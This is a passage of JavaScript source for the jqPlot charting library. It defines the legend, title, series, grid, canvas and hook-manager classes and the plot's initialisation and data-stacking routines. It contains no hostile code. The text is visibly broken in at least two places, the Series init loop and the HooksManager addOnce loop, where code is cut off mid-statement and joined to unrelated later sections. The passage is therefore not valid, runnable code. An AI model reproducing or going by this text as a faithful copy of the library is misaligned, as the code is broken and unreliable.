(this.yoffset >0) { if (this.placement == 'outside') { switch (this.location) { case 'sw': case 's': case 'se': if (this.marginTop == null) { this.marginTop = this.yoffset + 'px'; } this.marginBottom = '0px'; break; case 'ne': case 'n': case 'nw': default: if (this.marginBottom == null) { this.marginBottom = this.yoffset + 'px'; } this.marginTop = '0px'; break; } } else if (this.placement == 'insideGrid') { switch (this.location) { case 'sw': case 's': case 'se': if (this.marginBottom == null) { this.marginBottom = this.yoffset + 'px'; } this.marginTop = '0px'; break; case 'ne': case 'n': case 'nw': default: if (this.marginTop == null) { this.marginTop = this.yoffset + 'px'; } this.marginBottom = '0px'; break; } } this.yoffset = 0; } // TO-DO: // Handle case where offsets are < 0. // }; Legend.prototype.init = function() { if ($.isFunction(this.renderer)) { this.renderer = new this.renderer(); } this.renderer.init.call(this, this.rendererOptions); }; Legend.prototype.draw = function(offsets, plot) { for (var i=0; i<$.jqplot.preDrawLegendHooks.length; i++){ $.jqplot.preDrawLegendHooks[i].call(this, offsets); } return this.renderer.draw.call(this, offsets, plot); }; Legend.prototype.pack = function(offsets) { this.renderer.pack.call(this, offsets); }; /** * Class: Title * Plot Title object. Cannot be instantiated directly, but created * by the Plot object. Title properties can be set or overridden by the * options passed in from the user. * * Parameters: * text - text of the title. */ function Title(text) { $.jqplot.ElemContainer.call(this); // Group: Properties // prop: text // text of the title; this.text = text; // prop: show // whether or not to show the title this.show = true; // prop: fontFamily // css font-family spec for the text. this.fontFamily; // prop: fontSize // css font-size spec for the text. this.fontSize ; // prop: textAlign // css text-align spec for the text. this.textAlign; // prop: textColor // css color spec for the text. this.textColor; // prop: renderer // A class for creating a DOM element for the title, // see <$.jqplot.DivTitleRenderer>. this.renderer = $.jqplot.DivTitleRenderer; // prop: rendererOptions // renderer specific options passed to the renderer. this.rendererOptions = {}; // prop: escapeHtml // True to escape special characters with their html entity equivalents // in title text. "<" becomes < and so on, so html tags are not rendered. this.escapeHtml = false; } Title.prototype = new $.jqplot.ElemContainer(); Title.prototype.constructor = Title; Title.prototype.init = function() { if ($.isFunction(this.renderer)) { this.renderer = new this.renderer(); } this.renderer.init.call(this, this.rendererOptions); }; Title.prototype.draw = function(width) { return this.renderer.draw.call(this, width); }; Title.prototype.pack = function() { this.renderer.pack.call(this); }; /** * Class: Series * An individual data series object. Cannot be instantiated directly, but created * by the Plot object. Series properties can be set or overridden by the * options passed in from the user. */ function Series(options) { options = options || {}; $.jqplot.ElemContainer.call(this); // Group: Properties // Properties will be assigned from a series array at the top level of the // options. If you had two series and wanted to change the color and line // width of the first and set the second to use the secondary y axis with // no shadow and supply custom labels for each: // > { // > series:[ // > {color: '#ff4466', lineWidth: 5, label:'good line'}, // > {yaxis: 'y2axis', shadow: false, label:'bad line'} // > ] // > } // prop: show // whether or not to draw the series. this.show = true; // prop: xaxis // which x axis to use with this series, either 'xaxis' or 'x2axis'. this.xaxis = 'xaxis'; this._xaxis; // prop: yaxis // which y axis to use with this series, either 'yaxis' or 'y2axis'. this.yaxis = 'yaxis'; this._yaxis; this.gridBorderWidth = 2.0; // prop: renderer // A class of a renderer which will draw the series, // see <$.jqplot.LineRenderer>. this.renderer = $.jqplot.LineRenderer; // prop: rendererOptions // Options to pass on to the renderer. this.rendererOptions = {}; this.data = []; this.gridData = []; // prop: label // Line label to use in the legend. this.label = ''; // prop: showLabel // true to show label for this series in the legend. this.showLabel = true; // prop: color // css color spec for the series this.color; // prop: negativeColor // css color spec used for filled (area) plots that are filled to zero and // the "useNegativeColors" option is true. this.negativeColor; // prop: lineWidth // width of the line in pixels. May have different meanings depending on renderer. this.lineWidth = 2.5; // prop: lineJoin // Canvas lineJoin style between segments of series. this.lineJoin = 'round'; // prop: lineCap // Canvas lineCap style at ends of line. this.lineCap = 'round'; // prop: linePattern // line pattern 'dashed', 'dotted', 'solid', some combination // of '-' and '.' characters such as '.-.' or a numerical array like // [draw, skip, draw, skip, ...] such as [1, 10] to draw a dotted line, // [1, 10, 20, 10] to draw a dot-dash line, and so on. this.linePattern = 'solid'; this.shadow = true; // prop: shadowAngle // Shadow angle in degrees this.shadowAngle = 45; // prop: shadowOffset // Shadow offset from line in pixels this.shadowOffset = 1.25; // prop: shadowDepth // Number of times shadow is stroked, each stroke offset shadowOffset from the last. this.shadowDepth = 3; // prop: shadowAlpha // Alpha channel transparency of shadow. 0 = transparent. this.shadowAlpha = '0.1'; // prop: breakOnNull // Wether line segments should be be broken at null value. // False will join point on either side of line. this.breakOnNull = false; // prop: markerRenderer // A class of a renderer which will draw marker (e.g. circle, square, ...) at the data points, // see <$.jqplot.MarkerRenderer>. this.markerRenderer = $.jqplot.MarkerRenderer; // prop: markerOptions // renderer specific options to pass to the markerRenderer, // see <$.jqplot.MarkerRenderer>. this.markerOptions = {}; // prop: showLine // whether to actually draw the line or not. Series will still be renderered, even if no line is drawn. this.showLine = true; // prop: showMarker // whether or not to show the markers at the data points. this.showMarker = true; // prop: index // 0 based index of this series in the plot series array. this.index; // prop: fill // true or false, whether to fill under lines or in bars. // May not be implemented in all renderers. this.fill = false; // prop: fillColor // CSS color spec to use for fill under line. Defaults to line color. this.fillColor; // prop: fillAlpha // Alpha transparency to apply to the fill under the line. // Use this to adjust alpha separate from fill color. this.fillAlpha; // prop: fillAndStroke // If true will stroke the line (with color this.color) as well as fill under it. // Applies only when fill is true. this.fillAndStroke = false; // prop: disableStack // true to not stack this series with other series in the plot. // To render properly, non-stacked series must come after any stacked series // in the plot's data series array. So, the plot's data series array would look like: // > [stackedSeries1, stackedSeries2, ..., nonStackedSeries1, nonStackedSeries2, ...] // disableStack will put a gap in the stacking order of series, and subsequent // stacked series will not fill down through the non-stacked series and will // most likely not stack properly on top of the non-stacked series. this.disableStack = false; // _stack is set by the Plot if the plot is a stacked chart. // will stack lines or bars on top of one another to build a "mountain" style chart. // May not be implemented in all renderers. this._stack = false; // prop: neighborThreshold // how close or far (in pixels) the cursor must be from a point marker to detect the point. this.neighborThreshold = 4; // prop: fillToZero // true will force bar and filled series to fill toward zero on the fill Axis. this.fillToZero = false; // prop: fillToValue // fill a filled series to this value on the fill axis. // Works in conjunction with fillToZero, so that must be true. this.fillToValue = 0; // prop: fillAxis // Either 'x' or 'y'. Which axis to fill the line toward if fillToZero is true. // 'y' means fill up/down to 0 on the y axis for this series. this.fillAxis = 'y'; // prop: useNegativeColors // true to color negative values differently in filled and bar charts. this.useNegativeColors = true; this._stackData = []; // _plotData accounts for stacking. If plots not stacked, _plotData and data are same. If // stacked, _plotData is accumulation of stacking data. this._plotData = []; // _plotValues hold the individual x and y values that will be plotted for this series. this._plotValues = {x:[], y:[]}; // statistics about the intervals between data points. Used for auto scaling. this._intervals = {x:{}, y:{}}; // data from the previous series, for stacked charts. this._prevPlotData = []; this._prevGridData = []; this._stackAxis = 'y'; this._primaryAxis = '_xaxis'; // give each series a canvas to draw on. This should allow for redrawing speedups. this.canvas = new $.jqplot.GenericCanvas(); this.shadowCanvas = new $.jqplot.GenericCanvas(); this.plugins = {}; // sum of y values in this series. this._sumy = 0; this._sumx = 0; this._type = ''; this.step = false; } Series.prototype = new $.jqplot.ElemContainer(); Series.prototype.constructor = Series; Series.prototype.init = function(index, gridbw, plot) { // weed out any null values in the data. this.index = index; this.gridBorderWidth = gridbw; var d = this.data; var temp = [], i, l; for (i=0, l=d.length; i. this.renderer = $.jqplot.CanvasGridRenderer; // prop: rendererOptions // Options to pass on to the renderer, // see <$.jqplot.CanvasGridRenderer>. this.rendererOptions = {}; this._offsets = {top:null, bottom:null, left:null, right:null}; } Grid.prototype = new $.jqplot.ElemContainer(); Grid.prototype.constructor = Grid; Grid.prototype.init = function() { if ($.isFunction(this.renderer)) { this.renderer = new this.renderer(); } this.renderer.init.call(this, this.rendererOptions); }; Grid.prototype.createElement = function(offsets,plot) { this._offsets = offsets; return this.renderer.createElement.call(this, plot); }; Grid.prototype.draw = function() { this.renderer.draw.call(this); }; $.jqplot.GenericCanvas = function() { $.jqplot.ElemContainer.call(this); this._ctx; }; $.jqplot.GenericCanvas.prototype = new $.jqplot.ElemContainer(); $.jqplot.GenericCanvas.prototype.constructor = $.jqplot.GenericCanvas; $.jqplot.GenericCanvas.prototype.createElement = function(offsets, clss, plotDimensions, plot) { this._offsets = offsets; var klass = 'jqplot'; if (clss != undefined) { klass = clss; } var elem; elem = plot.canvasManager.getCanvas(); // if new plotDimensions supplied, use them. if (plotDimensions != null) { this._plotDimensions = plotDimensions; } elem.width = this._plotDimensions.width - this._offsets.left - this._offsets.right; elem.height = this._plotDimensions.height - this._offsets.top - this._offsets.bottom; this._elem = $(elem); this._elem.css({ position: 'absolute', left: this._offsets.left, top: this._offsets.top }); this._elem.addClass(klass); elem = plot.canvasManager.initCanvas(elem); elem = null; return this._elem; }; $.jqplot.GenericCanvas.prototype.setContext = function() { this._ctx = this._elem.get(0).getContext("2d"); return this._ctx; }; // Memory Leaks patch $.jqplot.GenericCanvas.prototype.resetCanvas = function() { if (this._elem) { if ($.jqplot.use_excanvas && window.G_vmlCanvasManager.uninitElement !== undefined) { window.G_vmlCanvasManager.uninitElement(this._elem.get(0)); } //this._elem.remove(); this._elem.emptyForce(); } this._ctx = null; }; $.jqplot.HooksManager = function () { this.hooks =[]; this.args = []; }; $.jqplot.HooksManager.prototype.addOnce = function(fn, args) { args = args || []; var havehook = false; for (var i=0, l=this.hooks.length; i { // > axesDefaults:{min:0}, // > series:[{color:'#6633dd'}], // > title: 'A Plot' // > } // // prop: animate // True to animate the series on initial plot draw (renderer dependent). // Actual animation functionality must be supported in the renderer. this.animate = false; // prop: animateReplot // True to animate series after a call to the replot() method. // Use with caution! Replots can happen very frequently under // certain circumstances (e.g. resizing, dragging points) and // animation in these situations can cause problems. this.animateReplot = false; // prop: axes // up to 4 axes are supported, each with its own options, // See for axis specific options. this.axes = {xaxis: new Axis('xaxis'), yaxis: new Axis('yaxis'), x2axis: new Axis('x2axis'), y2axis: new Axis('y2axis'), y3axis: new Axis('y3axis'), y4axis: new Axis('y4axis'), y5axis: new Axis('y5axis'), y6axis: new Axis('y6axis'), y7axis: new Axis('y7axis'), y8axis: new Axis('y8axis'), y9axis: new Axis('y9axis'), yMidAxis: new Axis('yMidAxis')}; this.baseCanvas = new $.jqplot.GenericCanvas(); // true to intercept right click events and fire a 'jqplotRightClick' event. // this will also block the context menu. this.captureRightClick = false; // prop: data // user's data. Data should *NOT* be specified in the options object, // but be passed in as the second argument to the $.jqplot() function. // The data property is described here soley for reference. // The data should be in the form of an array of 2D or 1D arrays like // > [ [[x1, y1], [x2, y2],...], [y1, y2, ...] ]. this.data = []; // prop: dataRenderer // A callable which can be used to preprocess data passed into the plot. // Will be called with 3 arguments: the plot data, a reference to the plot, // and the value of dataRendererOptions. this.dataRenderer; // prop: dataRendererOptions // Options that will be passed to the dataRenderer. // Can be of any type. this.dataRendererOptions; this.defaults = { // prop: axesDefaults // default options that will be applied to all axes. // see for axes options. axesDefaults: {}, axes: {xaxis:{}, yaxis:{}, x2axis:{}, y2axis:{}, y3axis:{}, y4axis:{}, y5axis:{}, y6axis:{}, y7axis:{}, y8axis:{}, y9axis:{}, yMidAxis:{}}, // prop: seriesDefaults // default options that will be applied to all series. // see for series options. seriesDefaults: {}, series:[] }; // prop: defaultAxisStart // 1-D data series are internally converted into 2-D [x,y] data point arrays // by jqPlot. This is the default starting value for the missing x or y value. // The added data will be a monotonically increasing series (e.g. [1, 2, 3, ...]) // starting at this value. this.defaultAxisStart = 1; // this.doCustomEventBinding = true; // prop: drawIfHidden // True to execute the draw method even if the plot target is hidden. // Generally, this should be false. Most plot elements will not be sized/ // positioned correclty if renderered into a hidden container. To render into // a hidden container, call the replot method when the container is shown. this.drawIfHidden = false; this.eventCanvas = new $.jqplot.GenericCanvas(); // prop: fillBetween // Fill between 2 line series in a plot. // Options object: // { // series1: first index (0 based) of series in fill // series2: second index (0 based) of series in fill // color: color of fill [default fillColor of series1] // baseSeries: fill will be drawn below this series (0 based index) // fill: false to turn off fill [default true]. // } this.fillBetween = { series1: null, series2: null, color: null, baseSeries: 0, fill: true }; // prop; fontFamily // css spec for the font-family attribute. Default for the entire plot. this.fontFamily; // prop: fontSize // css spec for the font-size attribute. Default for the entire plot. this.fontSize; // prop: grid // See for grid specific options. this.grid = new Grid(); // prop: legend // see <$.jqplot.TableLegendRenderer> this.legend = new Legend(); // prop: noDataIndicator // Options to set up a mock plot with a data loading indicator if no data is specified. this.noDataIndicator = { show: false, indicator: 'Loading Data...', axes: { xaxis: { min: 0, max: 10, tickInterval: 2, show: true }, yaxis: { min: 0, max: 12, tickInterval: 3, show: true } } }; // prop: negativeSeriesColors // colors to use for portions of the line below zero. this.negativeSeriesColors = $.jqplot.config.defaultNegativeColors; // container to hold all of the merged options. Convienence for plugins. this.options = {}; this.previousSeriesStack = []; // Namespace to hold plugins. Generally non-renderer plugins add themselves to here. this.plugins = {}; // prop: series // Array of series object options. // see for series specific options. this.series = []; // array of series indices. Keep track of order // which series canvases are displayed, lowest // to highest, back to front. this.seriesStack = []; // prop: seriesColors // Ann array of CSS color specifications that will be applied, in order, // to the series in the plot. Colors will wrap around so, if their // are more series than colors, colors will be reused starting at the // beginning. For pie charts, this specifies the colors of the slices. this.seriesColors = $.jqplot.config.defaultColors; // prop: sortData // false to not sort the data passed in by the user. // Many bar, stacked and other graphs as well as many plugins depend on // having sorted data. this.sortData = true; // prop: stackSeries // true or false, creates a stack or "mountain" plot. // Not all series renderers may implement this option. this.stackSeries = false; // a shortcut for axis syncTicks options. Not implemented yet. this.syncXTicks = true; // a shortcut for axis syncTicks options. Not implemented yet. this.syncYTicks = true; // the jquery object for the dom target. this.target = null; // The id of the dom element to render the plot into this.targetId = null; // prop textColor // css spec for the css color attribute. Default for the entire plot. this.textColor; // prop: title // Title object. See for specific options. As a shortcut, you // can specify the title option as just a string like: title: 'My Plot' // and this will create a new title object with the specified text. this.title = new Title(); // Count how many times the draw method has been called while the plot is visible. // Mostly used to test if plot has never been dran (=0), has been successfully drawn // into a visible container once (=1) or draw more than once into a visible container. // Can use this in tests to see if plot has been visibly drawn at least one time. // After plot has been visibly drawn once, it generally doesn't need redrawing if its // container is hidden and shown. this._drawCount = 0; // sum of y values for all series in plot. // used in mekko chart. this._sumy = 0; this._sumx = 0; // array to hold the cumulative stacked series data. // used to ajust the individual series data, which won't have access to other // series data. this._stackData = []; // array that holds the data to be plotted. This will be the series data // merged with the the appropriate data from _stackData according to the stackAxis. this._plotData = []; this._width = null; this._height = null; this._plotDimensions = {height:null, width:null}; this._gridPadding = {top:null, right:null, bottom:null, left:null}; this._defaultGridPadding = {top:10, right:10, bottom:23, left:10}; this._addDomReference = $.jqplot.config.addDomReference; this.preInitHooks = new $.jqplot.HooksManager(); this.postInitHooks = new $.jqplot.HooksManager(); this.preParseOptionsHooks = new $.jqplot.HooksManager(); this.postParseOptionsHooks = new $.jqplot.HooksManager(); this.preDrawHooks = new $.jqplot.HooksManager(); this.postDrawHooks = new $.jqplot.HooksManager(); this.preDrawSeriesHooks = new $.jqplot.HooksManager(); this.postDrawSeriesHooks = new $.jqplot.HooksManager(); this.preDrawLegendHooks = new $.jqplot.HooksManager(); this.addLegendRowHooks = new $.jqplot.HooksManager(); this.preSeriesInitHooks = new $.jqplot.HooksManager(); this.postSeriesInitHooks = new $.jqplot.HooksManager(); this.preParseSeriesOptionsHooks = new $.jqplot.HooksManager(); this.postParseSeriesOptionsHooks = new $.jqplot.HooksManager(); this.eventListenerHooks = new $.jqplot.EventListenerManager(); this.preDrawSeriesShadowHooks = new $.jqplot.HooksManager(); this.postDrawSeriesShadowHooks = new $.jqplot.HooksManager(); this.colorGenerator = new $.jqplot.ColorGenerator(); this.negativeColorGenerator = new $.jqplot.ColorGenerator(); this.canvasManager = new $.jqplot.CanvasManager(); this.themeEngine = new $.jqplot.ThemeEngine(); var seriesColorsIndex = 0; // Group: methods // // method: init // sets the plot target, checks data and applies user // options to plot. this.init = function(target, data, options) { options = options || {}; for (var i=0; i<$.jqplot.preInitHooks.length; i++) { $.jqplot.preInitHooks[i].call(this, target, data, options); } for (var i=0; i<this.preInitHooks.hooks.length; i++) { this.preInitHooks.hooks[i].call(this, target, data, options); } this.targetId = '#'+target; this.target = $('#'+target); ////// // Add a reference to plot ////// if (this._addDomReference) { this.target.data('jqplot', this); } // remove any error class that may be stuck on target. this.target.removeClass('jqplot-error'); if (!this.target.get(0)) { throw new Error("No plot target specified"); } // make sure the target is positioned by some means and set css if (this.target.css('position') == 'static') { this.target.css('position', 'relative'); } if (!this.target.hasClass('jqplot-target')) { this.target.addClass('jqplot-target'); } // if no height or width specified, use a default. if (!this.target.height()) { var h; if (options && options.height) { h = parseInt(options.height, 10); } else if (this.target.attr('data-height')) { h = parseInt(this.target.attr('data-height'), 10); } else { h = parseInt($.jqplot.config.defaultHeight, 10); } this._height = h; this.target.css('height', h+'px'); } else { this._height = h = this.target.height(); } if (!this.target.width()) { var w; if (options && options.width) { w = parseInt(options.width, 10); } else if (this.target.attr('data-width')) { w = parseInt(this.target.attr('data-width'), 10); } else { w = parseInt($.jqplot.config.defaultWidth, 10); } this._width = w; this.target.css('width', w+'px'); } else { this._width = w = this.target.width(); } for (var i=0, l=_axisNames.length; i<l; i++) { this.axes[_axisNames[i]] = new Axis(_axisNames[i]); } this._plotDimensions.height = this._height; this._plotDimensions.width = this._width; this.grid._plotDimensions = this._plotDimensions; this.title._plotDimensions = this._plotDimensions; this.baseCanvas._plotDimensions = this._plotDimensions; this.eventCanvas._plotDimensions = this._plotDimensions; this.legend._plotDimensions = this._plotDimensions; if (this._height <=0 || this._width <=0 || !this._height || !this._width) { throw new Error("Canvas dimension not set"); } if (options.dataRenderer && $.isFunction(options.dataRenderer)) { if (options.dataRendererOptions) { this.dataRendererOptions = options.dataRendererOptions; } this.dataRenderer = options.dataRenderer; data = this.dataRenderer(data, this, this.dataRendererOptions); } if (options.noDataIndicator && $.isPlainObject(options.noDataIndicator)) { $.extend(true, this.noDataIndicator, options.noDataIndicator); } if (data == null || $.isArray(data) == false || data.length == 0 || $.isArray(data[0]) == false || data[0].length == 0) { if (this.noDataIndicator.show == false) { throw new Error("No data specified"); } else { // have to be descructive here in order for plot to not try and render series. // This means that $.jqplot() will have to be called again when there is data. //delete options.series; for (var ax in this.noDataIndicator.axes) { for (var prop in this.noDataIndicator.axes[ax]) { this.axes[ax][prop] = this.noDataIndicator.axes[ax][prop]; } } this.postDrawHooks.add(function() { var eh = this.eventCanvas.getHeight(); var ew = this.eventCanvas.getWidth(); var temp = $('<div class="jqplot-noData-container" style="position:absolute;"></div>'); this.target.append(temp); temp.height(eh); temp.width(ew); temp.css('top', this.eventCanvas._offsets.top); temp.css('left', this.eventCanvas._offsets.left); var temp2 = $('<div class="jqplot-noData-contents" style="text-align:center; position:relative; margin-left:auto; margin-right:auto;"></div>'); temp.append(temp2); temp2.html(this.noDataIndicator.indicator); var th = temp2.height(); var tw = temp2.width(); temp2.height(th); temp2.width(tw); temp2.css('top', (eh - th)/2 + 'px'); }); } } // make a copy of the data this.data = $.extend(true, [], data); this.parseOptions(options); if (this.textColor) { this.target.css('color', this.textColor); } if (this.fontFamily) { this.target.css('font-family', this.fontFamily); } if (this.fontSize) { this.target.css('font-size', this.fontSize); } this.title.init(); this.legend.init(); this._sumy = 0; this._sumx = 0; this.computePlotData(); for (var i=0; i<this.series.length; i++) { // set default stacking order for series canvases this.seriesStack.push(i); this.previousSeriesStack.push(i); this.series[i].shadowCanvas._plotDimensions = this._plotDimensions; this.series[i].canvas._plotDimensions = this._plotDimensions; for (var j=0; j<$.jqplot.preSeriesInitHooks.length; j++) { $.jqplot.preSeriesInitHooks[j].call(this.series[i], target, this.data, this.options.seriesDefaults, this.options.series[i], this); } for (var j=0; j<this.preSeriesInitHooks.hooks.length; j++) { this.preSeriesInitHooks.hooks[j].call(this.series[i], target, this.data, this.options.seriesDefaults, this.options.series[i], this); } // this.populatePlotData(this.series[i], i); this.series[i]._plotDimensions = this._plotDimensions; this.series[i].init(i, this.grid.borderWidth, this); for (var j=0; j<$.jqplot.postSeriesInitHooks.length; j++) { $.jqplot.postSeriesInitHooks[j].call(this.series[i], target, this.data, this.options.seriesDefaults, this.options.series[i], this); } for (var j=0; j<this.postSeriesInitHooks.hooks.length; j++) { this.postSeriesInitHooks.hooks[j].call(this.series[i], target, this.data, this.options.seriesDefaults, this.options.series[i], this); } this._sumy += this.series[i]._sumy; this._sumx += this.series[i]._sumx; } var name, axis; for (var i=0, l=_axisNames.length; i<l; i++) { name = _axisNames[i]; axis = this.axes[name]; axis._plotDimensions = this._plotDimensions; axis.init(); if (this.axes[name].borderColor == null) { if (name.charAt(0) !== 'x' && axis.useSeriesColor === true && axis.show) { axis.borderColor = axis._series[0].color; } else { axis.borderColor = this.grid.borderColor; } } } if (this.sortData) { sortData(this.series); } this.grid.init(); this.grid._axes = this.axes; this.legend._series = this.series; for (var i=0; i<$.jqplot.postInitHooks.length; i++) { $.jqplot.postInitHooks[i].call(this, target, this.data, options); } for (var i=0; i<this.postInitHooks.hooks.length; i++) { this.postInitHooks.hooks[i].call(this, target, this.data, options); } }; // method: resetAxesScale // Reset the specified axes min, max, numberTicks and tickInterval properties to null // or reset these properties on all axes if no list of axes is provided. // // Parameters: // axes - Boolean to reset or not reset all axes or an array or object of axis names to reset. this.resetAxesScale = function(axes, options) { var opts = options || {}; var ax = axes || this.axes; if (ax === true) { ax = this.axes; } if ($.isArray(ax)) { for (var i = 0; i < ax.length; i++) { this.axes[ax[i]].resetScale(opts[ax[i]]); } } else if (typeof(ax) === 'object') { for (var name in ax) { this.axes[name].resetScale(opts[name]); } } }; // method: reInitialize // reinitialize plot for replotting. // not called directly. this.reInitialize = function (data, opts) { // Plot should be visible and have a height and width. // If plot doesn't have height and width for some // reason, set it by other means. Plot must not have // a display:none attribute, however. var options = $.extend(true, {}, this.options, opts); var target = this.targetId.substr(1); var tdata = (data == null) ? this.data : data; for (var i=0; i<$.jqplot.preInitHooks.length; i++) { $.jqplot.preInitHooks[i].call(this, target, tdata, options); } for (var i=0; i<this.preInitHooks.hooks.length; i++) { this.preInitHooks.hooks[i].call(this, target, tdata, options); } this._height = this.target.height(); this._width = this.target.width(); if (this._height <=0 || this._width <=0 || !this._height || !this._width) { throw new Error("Target dimension not set"); } this._plotDimensions.height = this._height; this._plotDimensions.width = this._width; this.grid._plotDimensions = this._plotDimensions; this.title._plotDimensions = this._plotDimensions; this.baseCanvas._plotDimensions = this._plotDimensions; this.eventCanvas._plotDimensions = this._plotDimensions; this.legend._plotDimensions = this._plotDimensions; var name, t, j, axis; for (var i=0, l=_axisNames.length; i<l; i++) { name = _axisNames[i]; axis = this.axes[name]; // Memory Leaks patch : clear ticks elements t = axis._ticks; for (var j = 0, tlen = t.length; j < tlen; j++) { var el = t[j]._elem; if (el) { // if canvas renderer if ($.jqplot.use_excanvas && window.G_vmlCanvasManager.uninitElement !== undefined) { window.G_vmlCanvasManager.uninitElement(el.get(0)); } el.emptyForce(); el = null; t._elem = null; } } t = null; delete axis.ticks; delete axis._ticks; this.axes[name] = new Axis(name); this.axes[name]._plotWidth = this._width; this.axes[name]._plotHeight = this._height; } if (data) { if (options.dataRenderer && $.isFunction(options.dataRenderer)) { if (options.dataRendererOptions) { this.dataRendererOptions = options.dataRendererOptions; } this.dataRenderer = options.dataRenderer; data = this.dataRenderer(data, this, this.dataRendererOptions); } // make a copy of the data this.data = $.extend(true, [], data); } if (opts) { this.parseOptions(options); } this.title._plotWidth = this._width; if (this.textColor) { this.target.css('color', this.textColor); } if (this.fontFamily) { this.target.css('font-family', this.fontFamily); } if (this.fontSize) { this.target.css('font-size', this.fontSize); } this.title.init(); this.legend.init(); this._sumy = 0; this._sumx = 0; this.seriesStack = []; this.previousSeriesStack = []; this.computePlotData(); for (var i=0, l=this.series.length; i<l; i++) { // set default stacking order for series canvases this.seriesStack.push(i); this.previousSeriesStack.push(i); this.series[i].shadowCanvas._plotDimensions = this._plotDimensions; this.series[i].canvas._plotDimensions = this._plotDimensions; for (var j=0; j<$.jqplot.preSeriesInitHooks.length; j++) { $.jqplot.preSeriesInitHooks[j].call(this.series[i], target, this.data, this.options.seriesDefaults, this.options.series[i], this); } for (var j=0; j<this.preSeriesInitHooks.hooks.length; j++) { this.preSeriesInitHooks.hooks[j].call(this.series[i], target, this.data, this.options.seriesDefaults, this.options.series[i], this); } // this.populatePlotData(this.series[i], i); this.series[i]._plotDimensions = this._plotDimensions; this.series[i].init(i, this.grid.borderWidth, this); for (var j=0; j<$.jqplot.postSeriesInitHooks.length; j++) { $.jqplot.postSeriesInitHooks[j].call(this.series[i], target, this.data, this.options.seriesDefaults, this.options.series[i], this); } for (var j=0; j<this.postSeriesInitHooks.hooks.length; j++) { this.postSeriesInitHooks.hooks[j].call(this.series[i], target, this.data, this.options.seriesDefaults, this.options.series[i], this); } this._sumy += this.series[i]._sumy; this._sumx += this.series[i]._sumx; } for (var i=0, l=_axisNames.length; i<l; i++) { name = _axisNames[i]; axis = this.axes[name]; axis._plotDimensions = this._plotDimensions; axis.init(); if (axis.borderColor == null) { if (name.charAt(0) !== 'x' && axis.useSeriesColor === true && axis.show) { axis.borderColor = axis._series[0].color; } else { axis.borderColor = this.grid.borderColor; } } } if (this.sortData) { sortData(this.series); } this.grid.init(); this.grid._axes = this.axes; this.legend._series = this.series; for (var i=0, l=$.jqplot.postInitHooks.length; i<l; i++) { $.jqplot.postInitHooks[i].call(this, target, this.data, options); } for (var i=0, l=this.postInitHooks.hooks.length; i<l; i++) { this.postInitHooks.hooks[i].call(this, target, this.data, options); } }; // method: quickInit // // Quick reinitialization plot for replotting. // Does not parse options ore recreate axes and series. // not called directly. this.quickInit = function () { // Plot should be visible and have a height and width. // If plot doesn't have height and width for some // reason, set it by other means. Plot must not have // a display:none attribute, however. this._height = this.target.height(); this._width = this.target.width(); if (this._height <=0 || this._width <=0 || !this._height || !this._width) { throw new Error("Target dimension not set"); } this._plotDimensions.height = this._height; this._plotDimensions.width = this._width; this.grid._plotDimensions = this._plotDimensions; this.title._plotDimensions = this._plotDimensions; this.baseCanvas._plotDimensions = this._plotDimensions; this.eventCanvas._plotDimensions = this._plotDimensions; this.legend._plotDimensions = this._plotDimensions; for (var n in this.axes) { this.axes[n]._plotWidth = this._width; this.axes[n]._plotHeight = this._height; } this.title._plotWidth = this._width; if (this.textColor) { this.target.css('color', this.textColor); } if (this.fontFamily) { this.target.css('font-family', this.fontFamily); } if (this.fontSize) { this.target.css('font-size', this.fontSize); } this._sumy = 0; this._sumx = 0; this.computePlotData(); for (var i=0; i<this.series.length; i++) { // this.populatePlotData(this.series[i], i); if (this.series[i]._type === 'line' && this.series[i].renderer.bands.show) { this.series[i].renderer.initBands.call(this.series[i], this.series[i].renderer.options, this); } this.series[i]._plotDimensions = this._plotDimensions; this.series[i].canvas._plotDimensions = this._plotDimensions; //this.series[i].init(i, this.grid.borderWidth); this._sumy += this.series[i]._sumy; this._sumx += this.series[i]._sumx; } var name; for (var j=0; j<12; j++) { name = _axisNames[j]; // Memory Leaks patch : clear ticks elements var t = this.axes[name]._ticks; for (var i = 0; i < t.length; i++) { var el = t[i]._elem; if (el) { // if canvas renderer if ($.jqplot.use_excanvas && window.G_vmlCanvasManager.uninitElement !== undefined) { window.G_vmlCanvasManager.uninitElement(el.get(0)); } el.emptyForce(); el = null; t._elem = null; } } t = null; this.axes[name]._plotDimensions = this._plotDimensions; this.axes[name]._ticks = []; // this.axes[name].renderer.init.call(this.axes[name], {}); } if (this.sortData) { sortData(this.series); } this.grid._axes = this.axes; this.legend._series = this.series; }; // sort the series data in increasing order. function sortData(series) { var d, sd, pd, ppd, ret; for (var i=0; i<series.length; i++) { var check; var bat = [series[i].data, series[i]._stackData, series[i]._plotData, series[i]._prevPlotData]; for (var n=0; n<4; n++) { check = true; d = bat[n]; if (series[i]._stackAxis == 'x') { for (var j = 0; j < d.length; j++) { if (typeof(d[j][1]) != "number") { check = false; break; } } if (check) { d.sort(function(a,b) { return a[1] - b[1]; }); } } else { for (var j = 0; j < d.length; j++) { if (typeof(d[j][0]) != "number") { check = false; break; } } if (check) { d.sort(function(a,b) { return a[0] - b[0]; }); } } } } } this.computePlotData = function() { this._plotData = []; this._stackData = []; var series, index, l; for (index=0, l=this.series.length; index<l; index++) { series = this.series[index]; this._plotData.push([]); this._stackData.push([]); var cd = series.data; this._plotData[index] = $.extend(true, [], cd); this._stackData[index] = $.extend(true, [], cd); series._plotData = this._plotData[index]; series._stackData = this._stackData[index]; var plotValues = {x:[], y:[]}; if (this.stackSeries && !series.disableStack) { series._stack = true; /////////////////////////// // have to check for nulls /////////////////////////// var sidx = (series._stackAxis === 'x') ? 0 : 1; for (var k=0, cdl=cd.length; k<cdl; k++) { var temp = cd[k][sidx]; if (temp == null) { temp = 0; } this._plotData[index][k][sidx] = temp; this._stackData[index][k][sidx] = temp; if (index > 0) { for (var j=index; j--;) { var prevval = this._plotData[j][k][sidx]; // only need to sum up the stack axis column of data // and only sum if it is of same sign. // if previous series isn't same sign, keep looking // at earlier series untill we find one of same sign. if (temp * prevval >= 0) { this._plotData[index][k][sidx] += prevval; this._stackData[index][k][sidx] += prevval; break; } } } } } else { for (var i=0; i<series.data.length; i++) { plotValues.x.push(series.data[i][0]); plotValues.y.push(series.data[i][1]); } this._stackData.push(series.data); this.series[index]._stackData = series.data; this._plotData.push(series.data); series._plotData = series.data; series._plotValues = plotValues; } if (index>0) { series._prevPlotData = this.series[index-1]._plotData; } series._sumy = 0; series._sumx = 0; for (i=series.data.length-1; i>-1; i--) { series._sumy += series.data[i][1]; series._sumx += series.data[i][0]; } } }; // populate the _stackData and 